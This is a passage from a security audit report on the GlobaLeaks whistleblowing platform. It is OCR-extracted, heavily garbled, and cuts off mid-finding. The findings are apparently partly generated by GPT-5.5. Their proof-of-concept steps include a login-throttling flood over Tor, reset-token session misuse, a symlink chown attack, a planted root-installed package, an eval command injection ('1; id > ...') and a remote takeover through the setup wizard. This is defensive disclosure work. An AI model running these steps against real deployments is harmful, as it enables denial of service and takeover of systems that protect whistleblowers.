shares the same apparent IP identity, one unauthenticated client can repeatedly POST invalid login or receipt-
authentication requests through the onion service and increase the shared rate_limit_count. The decorator then
applies deferred_sleep(min(60, 0.2 2* delay)) before executing the real authentication handler for every later
onion login using that same shared key.

This is not a per-account lockout flag, but it has the same availability e ect for the onion authentication surface:
an unauthenticated remote client can impose a global login slowdown on recipients, administrators, returning
whistleblowers, and new whistleblowers starting a submission through the onion service.

Relevant code:

# backend/ gl obal eaks/ servi ces/tor. py

def | oad_oni on_service(self, tid, hostnane, key):
oni on_servi ce = None
hs_l oc = ' 80 | ocal host: 8083
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# backend/ gl obal eaks/ rest/ api . py
request.client_ip = request.getdientlP()

request.client_using_tor = request.client_ip in State.tor_exit_set or \
request.port == 8083

# backend/ gl obal eaks/ rest/ decorat ors. py
client_ip = get_ip_identity(self.request.client_ip).encode()
tid = str(self.request.tid).encode()

if self.request.path in [b'/api/auth/authentication', b'/api/auth/receiptauth', b'/
api / aut h/ aut henti cation']:
delay = State. RatelLimt.check(b"logi ns_per_m nute_per_tenant_per_ip:" + tid +
b":" + client_ip,
root _tenant. cache. t hreshol d_| ogi ns_per _ni nut e_pe
r_tenant_per_inp,
60)

elif delay:
d = deferred_sl eep(mn(60, 0.2 * 2 ** del ay))
d. addCal | back(l anbda _: f(self, *args, **kwargs))
return d

# backend/ gl obal eaks/ nodel s/ confi g_desc. py

' threshol d_| ogi ns_per _m nut e_per _systeni: |nt(defaul t=1000),
"threshol d_| ogi ns_per _m nute_per_tenant': |nt(defaul t=20),

"t hreshol d_| ogi ns_per_m nute_per_ip': Int(defaul t=20),

'threshol d_| ogi ns_per _mi nute_per_tenant_per_i p': |nt(defaul t=1),

PoC

The following reproduces the issue on a deployment with the default onion service enabled. Replace 0 with the

platform onion hostname and use a Tor SOCKS proxy such as Tor Browser's local SOCKS listener or a system Tor
daemon.

Steps to reproduce

1. From one unauthenticated client, send many invalid login requests through the onion service.

for i in $(seq 1 80); do
curl --socks5-hostnane 127.0. 0. 1: 9050 \
-s -0 /dev/null \
-H ' Content-Type: application/json \
--data ' {"tid":1, "usernane":"invalid-user", "password":"invalid-
passwor d”, "aut hcode": ""}" \
"http://<onion-host >/ api /aut h/ aut henti cation' &
done
wai t

2. From a separate Tor client, immediately attempt a legitimate recipient or administrator login through the same
onion service.

time curl --socks5-hostname 127.0.0. 1: 9050 \

-s -0 /tnp/gl-login-response.json \

-H ' Content-Type: application/json' \

--data ' {"tid":1, "usernane":"<valid-user>", "password": "“<val i d-deri ved- key- or -
passwor d>", "aut hcode": ""}' \

"http://<oni on-host >/ api / aut h/ aut hent i cati on’
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3. The same shared slowdown can be exercised against whistleblower receipt authentication and the empty-
receipt submission-session flow.

curl --socks5-hostnane 127.0. 0. 1: 9050 \
-s -0 /dev/null \
-H ' Content-Type: application/json' \
--data '{"receipt":"invalid-receipt"}' \
" http://<oni on-host >/ api / aut h/ r ecei pt aut h*

Expected result

Login throttling should not let one onion-service client impose the per-client slowdown state on all other onion
users. Authentication throttling should be scoped so that anonymous Tor access remains usable for unrelated
recipients, administrators, and whistleblowers.

Actual result

All onion-service authentication requests share the same apparent per-IP rate-limit identity. After the attacker
saturates that bucket, unrelated onion users attempting /api/ aut h/ aut henti cati on or

[ api / aut h/ recei pt auth are delayed by the shared exponential slowdown, up to the hard-coded 60 second
cap per request.

Impact

This is an overly broad lockout/slowdown mechanism on the onion authentication surface. A remote
unauthenticated attacker can degrade or e ectively deny timely onion-service authentication for unrelated users
without knowing any username, password, receipt, or reset token.

Impacted users or systems:

e Recipients and administrators authenticating through the onion service.
o Whistleblowers returning to an existing report through receipt authentication.
o Whistleblowers starting a new submission through the empty-receipt receipt-authentication flow.

o Deployments that rely on Tor/onion access for anonymity or for Tor-only role policies.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

Overly Restrictive Account Lockout Mechanism
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9.12 F-084 - Compose removes network
isolation

The static Docker Compose deployment example uses host networking, reducing container network isolation
relative to bridge mode. This is a deployment-hardening consideration; no concrete confidentiality, integrity, or
availability impact is demonstrated.

IMPACT COMPONENT FOUND BY
Deployment hardening gap Docker GPT-5.5 medium v1

The reviewed static Docker Compose example runs Globaleaks with net wor k_node: host , so Docker port
mappings do not provide the isolation an operator might expect. This concerns the deployment example rather
than a product authorization or data-protection failure.

Details

The static compose file di ers from the generated compose output and uses host networking.

A ected source code, component, endpoint, or function:

docker / docker - conpose. yni
docker / gener at e_docker _conpose. sh
backend/ gl obal eaks/ setti ngs. py

Description:

docker / docker - conpose. ynmi  sets networ k_node: host while also declaring ports mappings. In Docker
Compose, ports mappings are ignored when host networking is enabled. This can mislead operators into
believing the service is constrained by Docker port publishing while it is actually using the host network
namespace.

GlobalLeaks defaults to bind_address "::" and remote ports 8080 and 8443 , so with host networking those
listeners are attached directly to the host stack.

The generator script emits net wor k_nmode: bri dge , creating an inconsistency between the static and generated
deployment configurations.

Host networking is not by itself evidence of data disclosure, unauthorized modification, or service unavailability.
The issue is the mismatch between operator expectations, the declared port mappings, and the reduced isolation
of the example configuration.

Relevant code:

Page 178 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

docker / docker - conpose. yni :

10 net wor k_node: host
13 ports:

14 - 80: 8080

15 - 443:8443

16 - 8080: 8080

17 - 8443: 8443

docker / gener at e_docker _conpose. sh:
54 net wor k_node: bridge

backend/ gl obal eaks/ setti ngs. py:

22 sel f. bind_address ="'
23 sel f.bind_renote ports = [8080, 8443]
PoC

The issue can be reproduced by running the static compose file and checking Docker's e ective networking
behavior.

Steps to reproduce

1. Start the static compose configuration.

cd docker
docker conpose up -d

2. Inspect the service configuration.

docker inspect global eaks --format ' {{.HostConfig. NetworkMdde}} {{json
. Host Confi g. Port Bi ndi ngs}}'

3. Observe the result.

The contai ner uses host networking, and Docker port publishing is not the
i sol ation boundary for the service.

Expected result

As a hardening recommendation, the static example should use bridge networking with explicit ports
mappings by default. If host networking is required for a specific deployment, that choice and its isolation
tradeo s should be documented explicitly.

Actual result

In the reviewed revision, the static Compose example uses host networking while also declaring port mappings

that do not act as a Docker network boundary.

Impact

This is a deployment-example hardening issue a ecting operators who expect Docker bridge-network isolation
or port-publishing controls. The available evidence establishes reduced isolation and potentially misleading
configuration semantics, but it does not demonstrate a concrete disclosure, unauthorized modification, or denial
of service.
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Impacted users or systems:

e Docker Compose deployments using docker/ docker - conpose. yni

¢ Hosts where network exposure should be limited by Docker port publishing.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None None

CWE-668 ) Exposure of Resource to Wrong Sphere
CWE-16 ) Configuration
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10 Hardening

The 42 records in this chapter have security relevance but no current concrete exploit path in the reviewed threat
model. They are the defensive margin: auditability, configuration, installer and deployment posture, Cl hygiene,
and maintainability improvements that make the next class of mistake harder to introduce and easier to detect.
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10.1 F-004 - Password-reset session not confined
to the password-change step

A validated reset token yields a normal session before the password is changed, exposing the account's usual
features during the reset flow.

IMPACT COMPONENT FOUND BY
Account access bypass Client GPT-5.5 xhigh vl

A user session obtained through a password reset token is treated as a normal role session before the password
is changed. The client attempts to redirect users with passwor d_change_needed to the forced password-change
screen, but that redirect is best-e ort and does not stop other route resolvers, direct routes, or authenticated API
requests from using the reset-token session first.

Details

A ected source code, component, endpoint, or function:

client/app/ src/ pages/ aut h/ passwor d- r eset - r esponse/ passwor d- r eset -
response. conponent . t s

client/app/ src/services/ hel per/authentication. service.ts
client/app/src/shared/resol vers/ preference.resol ver.ts
client/app/ src/pages/recipient/recipient.routes.ts

client/app/ src/pages/ adnm n/admn.routes.ts

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

backend/ gl obal eaks/ rest/ decor at or s. py

Description:

After a reset token is validated, the backend creates a normal user session, marks the user as requiring a
password change, and returns the session ID as a login token. The client then logs in with that token and stores
the resulting session before any password change is completed.

The only client-side gate is PreferenceResolver, which fetches /api/user/preferences and calls
router.navigate('/action/forcedpasswordchange') when password_change_needed is true. It still returns true, and
Angular route resolvers declared next to it can run authenticated data fetches in parallel. Some authenticated role
routes also omit PreferenceResolver entirely.

As a result, a browser or script holding the reset-token-derived session can issue ordinary role APl requests, and
the client can load role data, before the forced password-change flow is completed. This contradicts the intended
boundary that a reset-token session must do nothing except set a new password.

Relevant code:
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/1 client/appl/src/pages/ aut h/ passwor d- r eset - r esponse/ passwor d- r eset -
r esponse. conponent . t s
35: if (response.status === "success") {

36: this.router.navigate([("/login")], {queryParans: {token:

response. token}}).then();

/1 client/app/src/services/hel per/authentication.service.ts
80: if (authtoken) {
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81: request Chservabl e = this. httpService. request Aut hTokenLogi n(JSON st ri ngi

fy({"aut ht oken": authtoken}));
126: thi s. set Sessi on(response) ;
181: this.router.navigate([this.session. honepage], {

/1 client/app/src/shared/ resol vers/preference.resol ver.ts

21: return this. httpService.request User Pref erenceResour ce() . pi pe(

22: nmap( (response: preferenceResol ver Model ) => {

23: thi s. dat aMbdel = response;

24: if (this.dataMdel . password_change_needed) {

25: this.router.navigate(["/action/forcedpasswordchange"]).then();
29: return true;

Il client/app/src/pages/recipient/recipient.routes.ts

25: {

26: path: "reports",

27: | oadConponent: () => inport (' @pp/ pages/ reci pient/tips/
ti ps. conponent ' ). then(m => m Ti psConponent ),

29: resol ve: {

30: Pr ef erenceResol ver, RTi psResol ver

31: 1,

34 {

35: path: "settings",

36: | oadConponent : () => i nport (' @pp/ pages/ reci pi ent/settings/
settings. conponent').then(m => m Reci pi ent Set ti ngsConponent ),
37: resol ve: {

38: NodeResol ver

39: 1,

/1 client/app/src/pages/ adnm n/admn.routes.ts

17: {

18: path: "",

19: | oadConponent : () => i nport (' @pp/ pages/ adm n/ hone/ admi n-
hone. conponent ' ) . t hen(m => m adm nHoneConponent ) ,

20: resol ve: {

21: NodeResol ver, PreferenceResol ver, UsersResol ver

/'l backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py
154: # Requi re password change

155: user . passwor d_change_needed = True

159: user_sessi on = Sessi ons. new( user. tid,

160: user.id,

161: user. tid,

162: user.rol e,

166: user_sessi on. properties['reset_token'] = reset_token
173: return {'status': 'success', 'token': user_session.id}

/1 backend/ gl obal eaks/ rest/ decorat ors. py
32: def decorator_authentication(f, roles):

38: if self.session and self.session.tid == self.request.tid:

39: if "user' in user_roles and self.session.role in USERS ROLES:
40: return f(self, *args, **kwargs)
41: if self.session.role in user_roles:
42: return f(self, *args, **kwargs)
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PoC

Steps to reproduce

1. Obtain a valid password reset link for a recipient account, and complete any required recovery-key or two-
factor prompt. The client calls the reset validation endpoint and receives a token for a new session.

curl -s -X PUT 'https:// TARGET/ api / user/reset/password' \
-H ' Content-Type: application/json' \
--data '{"reset_token":"RESET_TOKEN', "recovery_key":"",6 "auth_code":""}"

2. Use the returned token with the token-authentication endpoint. This is the same flow the client performs after
navigating to /#/ | ogi n?t oken=. . .

curl -s -X POST 'https:// TARGET/ api / aut h/ t okenaut h* '\
-H ' Content-Type: application/json' \
--data ' {"autht oken": " TCKEN_FROM RESET_RESPONSE'}'

3. Before changing the password, use the returned session ID as X- Sessi on to access normal role data. For a
recipient account, the client route /#/ recipient/reports also declares both PreferenceResol ver and

RTi psResol ver , so the reports resolver can fetch recipient report data while the password-change redirect is
being triggered.

curl -s "https:// TARGET/ api/recipient/rtips' \
-H ' X-Session: SESSI ON | D FROM TOKENAUTH

4. Observe that the role API request is authorized even though /api / user/ pref erences for the same session
reports password_change_needed: true .

curl -s 'https:// TARGET/ api / user/ pref erences' \
-H ' X-Session: SESSI ON_| D FROM TOKENAUTH

Expected result

A session created from a reset token should be confined to the minimum endpoints required to set the new
password, log out, and possibly fetch password-change metadata. No report, administration, custodian, analyst,
settings, export, or other role functionality should be reachable until the password change succeeds.

Actual result

The reset-token-derived session is a normal authenticated session with the user's role. Client-side navigation may
redirectto /#/ acti on/ f or cedpasswor dchange , but other route resolvers and direct API requests can still use the

session before the password is changed.

Impact

An attacker who obtains a password reset token can use it as a full account session, subject only to the account's
normal reset prerequisites such as recovery key or two-factor validation. For recipient accounts, this can expose
assigned whistleblower reports before the attacker has set a new password. For other user roles, the same
pattern exposes the role's normal authenticated client/API surface before password replacement.
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Impacted users or systems:

e Users whose reset token is available to an attacker before password change is completed.
o Whistleblowers whose reports are accessible to a recipient account authenticated through a reset token.

o Deployments relying on forced password change after reset as a containment boundary.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High Low

Authorization Bypass Through User-Controlled Key
Missing Authorization
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10.2 F-005 - Debian init ramdisk chown follows
symlinks in world-writable /Zdev/shm

A local user can abuse the predictable ramdisk path to make the root-run init script change ownership of an
unintended target.

IMPACT COMPONENT FOUND BY
Local privilege escalation Debian GPT-5.5 medium v1

The Debian init script creates and changes ownership of a predictable path under /dev/ shm. Because
/ dev/ shm is world-writable and the script does not reject symlinks before chown , a local user can pre-create
/ dev/ shni gl obal eaks as a symlink to another directory and cause the root-run init script to change ownership
of the target.

Details

The service startup path prepares a ramdisk directory before launching the daemon.

A ected source code, component, endpoint, or function:

debi an/ gl obal eaks. i ni t
backend/ gl obal eaks/ setti ngs. py

Description:

debian/globaleaks.init checks whether /Zdev/shm/globaleaks is a directory and then runs chown on that path.
The -d test follows symlinks, and chown without -h follows symlinks as well. Since /dev/shm is normally writable
by local users, an attacker can create /dev/shm/globaleaks as a symlink to an existing directory before the
service starts.

When the service is started by root, the init script may change ownership of the symlink target to the configured
Globaleaks service user. This can corrupt ownership of sensitive directories and may increase the impact of a
compromised globaleaks service account.

Relevant code:

debi an/ gl obal eaks.init:

146 if [ ! -d "/dev/shn gl obal eaks" ]; then
147 nkdi r -m 700 /dev/ shni gl obal eaks
148 fi

149 chown $USERNAME: $USERNAME / dev/ shnd gl obal eaks

backend/ gl obal eaks/ setti ngs. py:

35 sel f.pidfile_path ="'/run/gl obal eaks/ gl obal eaks. pi d'

36 sel f.ramdi sk_path = '/dev/shni gl obal eaks' # noga: S108 - dedi cated
tnpfs randi sk path, not a shared tenp file

PoC

The issue can be reproduced on a system where the Debian init script is executed as root and /dev/ shm is
writable by local users.
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Steps to reproduce

1. As an unprivileged local user, pre-create the predictable path as a symlink to an existing directory.

In -s /etc /dev/shni gl obal eaks

2. Start or restart the service as root.

sudo /etc/init.d/ global eaks start

3. Observe the ownership of the symlink target.

stat -c ‘% % %' /etc

Expected result

The startup script should refuse to operate on a symlink or on any existing path that is not a directory owned by
the expected service account with safe permissions.

Actual result

The root-run script can execute chown gl obal eaks: gl obal eaks /dev/ shni gl obal eaks , following the attacker-
controlled symlink and changing ownership of the target directory.

Impact

This is a local privilege-boundary issue in the Debian service startup script. It can allow a local attacker to alter
ownership of arbitrary existing directories reachable through a symlink target. Depending on the target, this may
cause denial of service, weaken system integrity, or increase the post-compromise impact of the gl obal eaks

account.
Impacted users or systems:

e Debian or Ubuntu deployments using the packaged init script.

e Systems where an unprivileged local user can write to /dev/ shm before the GlobalLeaks service starts.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low High High

CWE-59 ) Improper Link Resolution Before File Access
Time-of-check Time-of-use Race Condition
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10.3 F-006 - Installer auto-trusts a pre-existing
/tmp/globaleaks.deb package

A local attacker can pre-place a package at the installer's trusted /tnp path and have it executed as root.

IMPACT COMPONENT FOUND BY
Root code execution Scripts GPT-5.5 medium v1

The root installer automatically installs /t np/ gl obal eaks. deb when that file exists. Because /tnp isnormally
writable by local users, a local attacker may be able to place a malicious Debian package before an administrator
runs the installer, causing package maintainer scripts to execute as root.

Details

A ected source code, component, endpoint, or function:

scripts/install.sh

Description:

The installer gives priority to a fixed path in /tmp and installs it directly with dpkg -i. It does not require the
package path to be explicitly provided by the administrator, does not verify ownership or permissions of the file,
and does not verify an expected digest or detached signature before installation.

Debian packages can contain maintainer scripts such as preinst and postinst. When dpkg installs a package as
root, those scripts run with root privileges.

Relevant code:

143 if [ -f /tnp/global eaks.deb ]; then

144  dpkg -i /tnp/global eaks.deb || apt --fix-broken install -y

145 el se

146  echo "Adding d obalLeaks PGP key to trusted APT keys"

147  curl -sS https://deb. gl obal eaks. or g/ gl obal eaks. asc | gpg --dearnmor -0 /etc/
apt/trusted. gpg. d/ gl obal eaks. gpg

155 DO "apt install -y --no-install-reconmends python3- nunkres

gl obal eaks=$VERS| ON'

156 el se

157 DO "apt install -y --no-install-reconmends python3-nunkres gl obal eaks"
PoC

Steps to reproduce

1. As a local unprivileged user on a disposable system, place a Debian package at the fixed installer path.

cp nal i ci ous- gl obal eaks. deb /tnp/ gl obal eaks. deb

2. Have an administrator run the normal installer command.
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sudo ./scripts/install.sh -y
3. Observe that the local package path is used instead of the signed APT repository path.
dpkg -i /tnp/ gl obal eaks. deb

Expected result

The installer should not implicitly trust files from /tnp . Local package installation should require an explicit
administrator-supplied path and should verify owner, permissions, and an expected signature or digest.

Actual result
Any existing /tnp/ gl obal eaks. deb is installed directly by the root installer.

Impact

This can become a local privilege escalation if an attacker can write the fixed package path before a privileged
installer run.

Impacted users or systems:

e Multi-user systems where unprivileged users can write to /tnp .

¢ Deployment environments where stale or attacker-controlled files may existin /tnp before installation.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

Time-of-check Time-of-use (TOCTOU) Race Condition
Download of Code Without Integrity Check
Improper Privilege Management
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10.4 F-007 - Installer version argument is
executed as root via eval

Whoever controls the installer version argument can turn it into root command execution through eval

IMPACT COMPONENT FOUND BY
Root code execution Scripts GPT-5.5 medium v1

The root installer passes the user-controlled -v version argument into a string that is executed with eval . A
caller who can influence the version argument can execute arbitrary commands as root.

Details

A ected source code, component, endpoint, or function:

scripts/install.sh

Description:

The install script must be run as root. It stores shell commands in strings and runs them through eval in the DO
helper. The -v argument is assigned to VERSION without validation and later interpolated into an apt install
command string. Shell metacharacters in VERSION are therefore interpreted by eval with root privileges.

Relevant code:

5if [ ! $(id-u) =01]; then
6 echo "Error: dobaleaks install script nust be run by root"
7 exit 1
8 fi

10 function DO () {
11 avD="$1"

19 echo -n "Running: \"$OVMD\"... "
20 eval $OWD &${LOCH LE}

86 while getopts "ynv:h" opt; do
90 V) VERSI ON=" $CPTARG'
154 if [[ $VERSION]]; then

155 DO "apt install -y --no-install-recomrends python3-nunkres
gl obal eaks=$VERSI ON'

PoC

Steps to reproduce

1. On a disposable test system, run the installer with a version payload that creates a root-owned marker file.

sudo ./scripts/install.sh -y -v '1; id > /tnp/gl obal eaks-install-rce'

2. Inspect the marker file.
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cat /tnp/ gl obal eaks-install-rce
3. Observe that the command ran as root.
ui d=0(root) gi d=0(root) groups=0(root)

Expected result

The version argument should be treated only as an APT package version or rejected if it does not match the
expected package version format.

Actual result

The version argument is interpreted by the shell via eval |, allowing arbitrary command execution as root.

Impact

This is a local or operator-assisted command injection in a privileged installation script.
Impacted users or systems:

e Systems where an administrator runs scripts/install.sh with an untrusted or externally supplied -v
value.

e Automation that forwards a release/version parameter from Cl, deployment tooling, documentation, or
another user-controlled source.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection’)

Improper Input Validation
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10.5 F-008 - First-run setup wizard not bound to
the legitimate operator

On a fresh reachable instance, the first remote client to hit the wizard can initialize the platform and claim
administrator control.

IMPACT COMPONENT FOUND BY
Setup race on first-run Backend GPT-5.5 Pro xhigh via
initialization run_codex_cwe_line v2

The initial platform wizard is exposed as an unauthenticated API on the public web listener before wi zar d_done
is set. Any remote client that reaches the freshly installed service can request a public proof-of-work token and
submit /api/wi zard before the legitimate operator, creating the first administrator account and permanently
initializing the tenant.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/rest/api.py: route registration and pre-w zard tenant routing
backend/ gl obal eaks/ handl er s/ wi zard. py: W zard. post

backend/ gl obal eaks/ handl er s/ adm n/ t enant . py: db_wi zard

backend/ gl obal eaks/ handl er s/ aut h/ t oken. py: TokenHandl er. post

backend/ gl obal eaks/ rest/decorators. py: BYPASS PATHS and pr oof - of -wor k t oken

handl i ng

backend/ gl obal eaks/ settings. py / backend/ gl obal eaks/state. py: default public bind
debi an/ gl obal eaks.init: packaged firewal|l redirects

PCST / api / aut h/ t oken

PCST / api / wi zard

Description:

The route table exposes Zapi/wizard and the handler declares check_roles ="any' Because POST handlers
require either a session or token, the client-side interceptor treats api/wizard as a public proof-of-work protected
endpoint. That token is not an authorization credential: Zapi/auth/token is also check_roles ="any' and explicitly
exempt from the token/session requirement.

Before initialization, APIResourceWrapper.render routes every hostname to tenant 1 when
State.tenants[l].cachewizard_done is false. The wizard transaction only checks that wizard_done is still false, then
sets node configuration, marks wizard_done true, and creates the submitted administrator and recipient accounts.

The default runtime binds remote HTTP and HTTPS sockets on :;, and the packaged init script redirects public
ports 80 and 443 to those backend sockets while reachable_via_web defaults to enabled on a fresh database.
The installer even prints https://0.0.0.0 as a setup URL. This creates a first-come-first-served remote setup race:
the first remote client to complete /api/wizard owns the initial administrator account.

This is not an administrator-abuse finding. The attacker is unauthenticated and acts before any legitimate
administrator account exists. It is also distinct from previously filed public signup and public submission-session
findings because it targets first-run platform bootstrap rather than optional tenant signup or report submission
sessions.

Relevant code:
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backend/ gl obal eaks/ rest/ api . py

58 (' /api/health', health.Heal thStatusHandl er),
59 (" /api/public', public.PublicResource),

60 (*/api/report', report.ReportHandler),

61 (' /api/support', support. SupportHandler),

62 (' /api/wizard, wzard. Wzard),

63

64 # Authentication Handl ers

65 (" /api/auth/token', auth.token. TokenHandl er),

backend/ gl obal eaks/ rest/ api . py

423 if not State.tenants[1].cache.w zard_done or \

424 request . host nane. |l ower () in (b'127.0.0.1', b'local host') or \
425 (State.tenants[1].cache. hostnane == '" and

i sl PAddr ess(request . host nane) ) :

426 request.tid =1

backend/ gl obal eaks/ handl er s/ wi zar d. py
7 class Wzard(BaseHandl er):

11 check_rol es = "any'

14 def post(self):

15 request = sel f.validate_request(self.request.content.read(),
16 request s. Wzar dDesc)
23 return w zard(sel f.request.tid, hostnane, request)

backend/ gl obal eaks/ handl er s/ adm n/ t enant . py

143 if node. get_val (' wi zard_done'):

144 log.err("DANGER Wzard already initialized ", tid=tid)
145 rai se errors. Forbi ddenQperati on

151 node. set _val (' nane', request[' node_nane'])

152 node. set _val (' def aul t _| anguage', | anguage)

153 node. set _val (' wi zard_done', True)

169 if not request['skip_adm n_account_creation']:

170 adm n_desc = nodel s. Wser (). di ct (| anguage)

171 adm n_desc[ ' usernane'] = request['adm n_usernane' ]

172 adm n_desc[ ' nane'] = request['adm n_nane']

173 adm n_desc[ ' password'] = request['adm n_password']

174 adm n_desc[' mai | _address'] = request['adm n_nai | _address']

backend/ gl obal eaks/ handl er s/ aut h/ t oken. py
6 class TokenHandl er (BaseHandl er):

10 check_roles = "any'

12 def post(self):
17 return State.tokens.newsel f.request.tid, self.session).serialize()

backend/ gl obal eaks/ rest/ decor at ors. py
14 USERS ROLES = {'any', 'adnmin', 'analyst', 'custodian', 'receiver'}
15 BYPASS PATHS = {b"/api/auth/token", b"/api/auth/type", b"/api/report"}

21 def decorator_require_session_or_token(f):

22 # Decorator that ensures a token or a session is included in the request
23 def wrapper(self, *args, **kwargs):

24 if self.request.path not in BYPASS PATHS and not

has_sessi on_or _t oken(sel f):

25 raise errors.Internal ServerError("Invalid request: No token and no
sessi on")

client/app/src/services/root/app-interceptor.service.ts
19 const protectedUrls = [
20 "api/wizard",

70 if (httpRequest.url.includes("api/signup")

71 || (httpRequest.url.endsWth("api/auth/receiptauth") &
this.authenticationService. session)

72 || protectedUr!s.includes(httpRequest.url)) {

73 return this. httpdient.post("api/auth/token", {}).pipe(
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backend/ gl obal eaks/ setti ngs. py
22 sel f.bind_address = "::'
23 sel f.bind_renote ports = [8080, 8443]

debi an/ gl obal eaks. i ni t

106 if [[ "$REACHABLE VIA WEB' -eq "1" ]]; then

107 iptabl es -mcomment --conment "gl obal eaks" -t nat -A PRERQUTING -p tcp
--dport 80 -j REDI RECT --to-port 8080

110 iptabl es -mcomment --conment "gl obal eaks" -t nat -A PRERQUTING -p tcp
--dport 443 -j REDIRECT --to-port 8443

PoC

Steps to reproduce

1. Start a fresh Global eaks installation before completing the platform wizard. In the packaged/default
configuration, the backend binds public remote ports and the init script redirects public 80 and 443 to the
backend listeners.

Fresh state: State.tenants[1].cache.w zard_done == fal se
Target reachable: https://target.exanple/ or https://target.exanpl e: 8443/

2. As an unauthenticated remote client, request a proof-of-work token from the same tenant. Solve the token by
finding a decimal counter such that the Argon2id check used by Token. val i date() passes.

curl -s -X POST 'https://target.exanpl e/ api / aut h/ t oken' \
-H ' Content-Type: application/json' \
--data ' {}'

3. Submit the wizard payload with the solved token. The password values are the client-side hashed values
normally produced by the wizard, but the backend accepts them as strings and does not require an existing
administrator session.

curl -i -X POST 'https://target.exanpl e/ api/w zard \

-H ' X-Token: <token-id>:<vali d-proof-of - work-answer>" \

-H ' Content-Type: application/json \

--data ' {"node_| anguage": "en", "node_nane": "attacker -
control | ed", "adm n_user nane": "at t acker - adm n", "adm n_nane": " At t acker ", " adm n_passw
ord":"<argon2-hash>","adm n_nai | _address": "attacker @xanpl e. org", "adm n_escrow': tr
ue, "recei ver _usernane": "attacker-recipient", "recei ver_nane":"Attacker
Reci pi ent", "recei ver _password": " <ar gon2- hash>", "recei ver _nai | _address": "attacker @
xanpl e.org", “profile":"defaul t","ski p_adm n_account _creation":fal se, "ski p_recipi en
t _account _creation":fal se, "enabl e_devel opers_exception_notification":fal se}'

4.Loginas attacker-adm n . The legitimate operator's later wizard attempt now receives For bi ddenQper ati on
because wi zard_done is true.

curl -s -X POST 'https://target.exanpl e/ api /aut h/ aut henti cation' \

-H ' Content-Type: application/json' \

--data '{"tid":1, "usernane":"attacker-admn","password":"<cleartext-
correspondi ng-t o- hash>", "aut hcode": ""}"

Expected result
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The first-run wizard should not be completable by arbitrary remote clients on the public listener. Bootstrap should
require a local-only channel, an operator secret, or another authentication mechanism that binds the setup action
to the legitimate installer/operator.

Actual result

Any client that reaches the fresh service can obtain the public anti-abuse token, submit /api/w zard , create the
initial administrator account, and lock out the legitimate first-run setup by setting wi zard_done .

Impact

This is a direct-request/forced-browsing issue in the platform bootstrap flow. A remote attacker who reaches a
newly installed but not-yet-initialized instance can take over the platform before any legitimate administrator
account exists.

Impacted users or systems:

o Fresh Globaleaks installations exposed on public interfaces before the operator completes the setup wizard.
e Packaged/default deployments where public HTTP/HTTPS redirects are installed during service start.

o Whistleblowers and recipients of a platform initialized by an attacker-controlled administrator.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

Direct Request ('Forced Browsing')
CWE-306 ) Missing Authentication for Critical Function
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10.6 F-012 - Backend continues startup after a
configured listener fails to bind

If a required listener is preempted locally, GlobalLeaks can still start partially and leave redirected tra cin
attacker-controlled hands.

IMPACT COMPONENT FOUND BY
Tra cinterception Backend GPT-5.5 medium via
run_codex_cwe_line vl

Globaleaks continues startup when it cannot bind one of its configured public sockets. The packaged init script
installs firewall redirects before launching the daemon, so a local user who pre-binds the backend HTTPS port
can make Globaleaks skip 8443 while the service still reports a successful start. On packaged deployments,

tra credirected from public port 443 can then be handled by the local process that occupied 8443 instead of
GlobalLeaks.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ st at e. py: St at ed ass. bi nd_t cp_ports
backend/ gl obal eaks/ backend. py: Servi ce. deferred_start
debi an/ gl obal eaks. i ni t : net wor k_sandboxi ng_start and gl obal eaks_start

Description:

The daemon reserves listening sockets before initializing the Twisted application. If a local or remote socket
cannot be reserved, bind_tcp_ports() only logs the error and continues. deferred_start() then adopts whatever
sockets were reserved and starts the service without verifying that the required HTTP/HTTPS listeners exist.

The Debian init script enables firewall redirection rules before calling globaleaks_start(). With the default
LISTENING_IP=: and remote ports 8080/8443, a local user who can bind TCP/8443 before the service starts can
make reserve_tcp_socket(:, 8443) fail. Globaleaks then starts without its public HTTPS listener, while the already-
installed iptables/ip6tables rules continue redirecting public TCP/443 tra c to port 8443. The process that pre-
bound 8443 can receive tra cintended for Globaleaks.

Relevant code:

Page 196 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

Labeli

ng PUBLIC Date 30/07/2026 Author

Edition 01 Revision 01 Distribution

# backend/ gl obal eaks/ st at e. py

for

port in self.settings.bind_renote_ports:
sock, fail = reserve_tcp_socket (self.settings.bind_address, port)
if fail is not None:
log.err("Could not reserve socket for % (error: %)",
fail.args[0], fail.args[1])
conti nue

if port == 8443:

sel f. https_socks += [sock]
el se:

sel f. http_socks += [sock]

# backend/ gl obal eaks/ backend. py

for

for

# de

sock in self.state. http_socks:
listen_tcp_on_sock(reactor, sock.fileno(), self.api_factory)

sock in self.state. https_socks:
listen_tls_on_sock(reactor,
fd=sock. fileno(),
cont ext Fact ory=sel f . st at e. sni map,
factory=sel f.api _factory)

bi an/ gl obal eaks. i ni t

net wor k_sandboxi ng_start

gl obal eaks_start

# del

bi an/ gl obal eaks. i nit, network_sandboxi ng_start ()

i ptabl es -mcoment --comment "gl obal eaks" -t nat -A PREROJTING -p tcp
-j REDIRECT --to-port 8443
i p6t abl es -m comrent --comment "“gl obal eaks" -t nat -A PREROQUTING -p tcp --dport

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

--dport 443

443 -j REDI RECT --to-port 8443
PoC
Steps to reproduce

1. On a packaged deployment using the default /usr/share/ gl obal eaks/ def aul t values, bind the backend

HTTP

pyth

S port before starting GlobalLeaks.

on3 - <<' PY'

inport socket, tine

S =
s.se
s. bi
